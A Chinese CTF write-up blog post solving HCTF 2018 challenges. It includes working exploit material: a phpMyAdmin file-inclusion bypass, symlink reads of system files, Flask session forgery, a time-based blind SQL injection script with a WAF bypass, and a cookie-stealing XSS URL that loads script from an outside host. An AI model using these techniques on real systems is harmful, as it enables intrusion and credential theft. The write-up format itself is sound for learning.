HCTF 2018 WriteUp

点击阅读

提目有难度,不过学到很多

difficult programming language

一个usb键盘的pcap包

利用王一航的脚本UsbKeyboardDataHacker提取数据, 但脚本有错误,看着改就好

得到

D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~

这是malbolge程序,在线跑下https://zb3.me/malbolge-tools/

hctf{m4lb0lGe}

easy dump

列出进程

./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 pslist

查看mspaint.exe的ID

./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 getsids | grep mspaint

转储mspaint.exe的内存

./volatility_2.6_mac64_standalone -f ../../mem.data --profile=Win7SP1x64 memdump -p 2768 --dump-dir=./

该为.data, 用GIMP将内存视为raw图片来看内存中的贴图

更改长宽得到图片再垂直翻转

Warmup

CVE-2018-12613 phpMyAdmin后台文件包含

http://seaii-blog.com/index.php/2018/07/03/84.html

提示flag in ffffllllaaaagggg, source.php有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

第二次分割前会urldecode,我们把?进行两次urlencode,也就是%253f, 就能满足所有判断,此时xxx.php%253f/被当作目录,在后面加适当../即可包含想要的文件

admin

注册登陆,在change页面有注释<!-- https://github.com/woadsl1234/hctf_flask/ -->

查看源码, 在routes.py中

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

详情参考 Unicode安全 https://paper.tuisec.win/detail/a9ad1440249d95b

利用strlower函数ᴬdmin ->Admin -> admin

strlower函数在注册、登陆、更改password时都有使用

即以ᴬdmin为用户名注册,改密码后再登陆可得到flag

hide and seek

ln -s软连接读文件,比如/proc/self/environ,/etc/passwd

源码在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

其随机数种子random.seed(uuid.getnode())

uuid.getnode()

获取硬件的地址并以48位二进制长度的正整数形式返回,这里所说的硬件地址是指网络接口的MAC地址,如果一个机器有多个网络接口,可能返回其中的任一个。如果获取失败,将按照RFC 4122的规定将随机返回的48位二进制整数的第8位设置成1

再读/sys/class/net/eth0/address得mac地址12:34:3e:14:7c:62

1
2
python session_cookie_manager.py decode -c eyJuYW1lIjoiYWRtaW4iLCJ1c2VybmFtZSI6InF3ZSJ9.DsvLsw.O0j4KKluGmdUCanKj3b2eUHYxJU
{"name":"admin","username":"qwe"}

本地得SECRET_KEY, 生成username为admin的session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import session
import random
import uuid

random.seed(int('12343e147c62',16))

app = Flask(__name__)
app.config['SECRET_KEY'] = '11.935137566861131' #str(random.random()*100)

@app.route('/', methods=['GET', 'POST'])
def index():
session['username'] = u'admin'
return '<h1>Hello, %s</h1><h2></h2>' % session['name']

if __name__ == '__main__':
app.run(host='0.0.0.0',port=7780,debug=True)

session=.eJyrVspLzE1VslJKTMnNzFPSUSotTi1CEaoFANCMC7w.DsvL0w.NP2i5E0fKTL9Ph5HEiGPid5aZWA

kzone

会跳转到qq空间,目录扫描发现www.zip,admin/

进行代码审计,发现include/member.php中的sql查询未进行过滤

cookie传入的时候要进行json_decode,而json_decode会解unicode,可以利用unicode编码绕过WAF

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$json = '{"\u0075\u006e\u0069\u006f\u006e,":1,"b":2,"c":3}';
$j = json_decode($json,true);
print_r($j);
?>

Array ( [union] => 1 [b] => 2 [c] => 3 )

原地址关了,本地起的docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding: utf-8

import requests
import re
import json
import time

url = 'http://127.0.0.1:10000/admin/index.php'
dic = ''
key = ''
for i in range(32,127):
dic += chr(i)

print 'dic is :'+dic

def encode(s):
tmp = ''
for i in s:
tmp += '\u00'+str(i.encode('hex'))
return tmp

for i in range(1,100):
isok = 0
for d in dic:
payload = "admin' and if((substr((select binary F1a9 from F1444g),%d,1)='%s'),sleep(5),1)#".replace(' ','/**/') % (i,d)
data = '{"admin_user":"'+ encode(payload) +'","admin_pass":"1"}'
cookies = {'islogin':'1','login_data':data}
print '[+]trying: '+payload
start = time.time()
res = requests.get(url,cookies=cookies).text
end = time.time()
if end - start >= 3:
key += d
isok = 1
print 'update key :'+key
break
if isok == 0:
break

print '[*]:'+key

hctf{hctf_2018_kzone_Author_Li4n0}

Bottle

利用CSRF构造xss获取cookie

exp:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E

game

可以按照密码进行排序

注册新用户,密码逐位逐位与admin的密码比较,得到admin的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string
import re
def reg(username,password):
url = "http://game.2018.hctf.io/web2/action.php?action=reg"
data = {
"username":username,
"password":password,
"sex":1,
"submit":"submit"
}
content = requests.post(url=url,data=data).content
print content
login_url = "http://game.2018.hctf.io/web2/action.php?action=login"
ss = "-/123456789"+string.lowercase
flag = ''
for i in range(32):
for j in range(33,126):
username = "aaaafaffmpxxm"+str(i) +"fdfdlxx8alsdff"+str(j)
password = flag + chr(j)
print username,password
reg(username,password)
data = {
"username":username,
"password":str(password),
"submit":"submit"
}
print data
req = requests.session()
content = req.post(url=login_url,data=data).content
#print content
order_url = "http://game.2018.hctf.io/web2/user.php?order=password"
content = req.get(url=order_url).content
#print content
tmp = re.findall(r'%s[.\s\S]+?<td>\s*1\s*</td>\s*<td>\s*admin\s*</td>'%username,content,re.S)
if tmp:
flag = flag + chr(j-1)
print flag
break

密码为dsa8&&!@#$%^&d1ngy1as3dja

freq game

果然爆破是不行的,利用FFT求频域分量,这就触及到我知识的盲区了

Eur3kAd队伍的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import json
import numpy as np
io=remote("150.109.119.46",6775)
token="DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j"
io.recvuntil("hint:")
io.sendline("y")
io.recvuntil("token:")
io.sendline(token)
for i in range(8):
io.recvuntil("[")
arr=io.recvuntil("]")[:-1]
arr=arr.split(",")
arr=map(float,arr)
time_val=np.array(arr)

freq_val=np.fft.fft(time_val)
freq_val=map(abs,freq_val)
freq_val_sorted=[i for i in freq_val]
freq_val_sorted.sort(reverse=1)
response=[]
for j in range(4):
response.append(min(freq_val.index(freq_val_sorted[j*2]),freq_val.index(freq_val_sorted[j*2+1])))
response_data=""
for ele in response:
response_data+=str(ele)
response_data+=" "
print response_data
io.sendline(response_data[:-1])
# io.interactive()
raw_input()
io.interactive()

相关知识:https://findneo.github.io/171005NuptVigenereWP/

xor?rsa

搬运表哥的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#short_pad_attack
import binascii

def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x^e - c1
g2 = (x+y)^e - c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5

return diff

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

if __name__ == '__main__':
n = 27325117725066040425607261774702361305480031598260844657255259687949217947185875178414548742392020321812299436880101297227536559351730987915023996386949560743215563482065620796558339146309680837896911726355137737632498099719814507374535188668253558193836192571274971401444835848784952120830068942707870865057672494962150591569745891058420271040371596557379014064434807827018829839225991842910855143477861477983283840739861588719497836896794690605981838804564450022566211353870681343247472863651535379377939787977703685860325769265931265226619644497391491291527800611615877993682121665020799611215291015673668800698047
e = 5

nbits = n.nbits()
kbits = nbits//(2*e*e)
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

# ^^ = bit-wise XOR
#m1 = randrange(2^nbits)
#m2 = m1 ^^ randrange(2^kbits)
#c1 = pow(m1, e, n)
#c2 = pow(m2, e, n)
c1 = 11146034647280413317443457623961239386839900851075033268495975097708099527017335893963808711594413240859252161601911195036434302423516981466705590143210837021632070692393449550584035345686324553211866055113228844210586772947411150216954229676034855823178188075496107807422868588742623940922760678808366543964733293726627911767243105246511250395661759753616263358374760407323735205233663336331991977749138009890575029063032763890464116037245275157079519540406571208629258706809359182978155122176341736830080587038326813241565093027445769495005048088248614564197179762009363506397136188047072831062771044194671584000093
c2 = 1206394889096499960081166011318481718487253865371591152275319942955987797889761136562701508553079502547193102588852377842551044867961440512715093383379196683866396069689611910096194350083404638346362642034206212849366833513854922022537854397304980423004330041027521742652293082886524946291846011200632987593435588619763971528985802898982891100146430607274314417600181969864547689720620303929732924061673055082880492983474112109999173957339098639555381626435870355703616291445746057601759611370928227297606247782969343337389538257681315001213167257800476196167120597495582636973391942846610897276862327699998885589310

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

#print m1
m1 = related_message_attack(c1, c2, diff, e, n)
print "m1 = ": m1
print "m2 = ": m1 + diff

参考:

http://p0desta.com

https://xz.aliyun.com/t/3253#toc-7

https://xz.aliyun.com/t/3255#toc-4

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/11/14/hctf2018/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog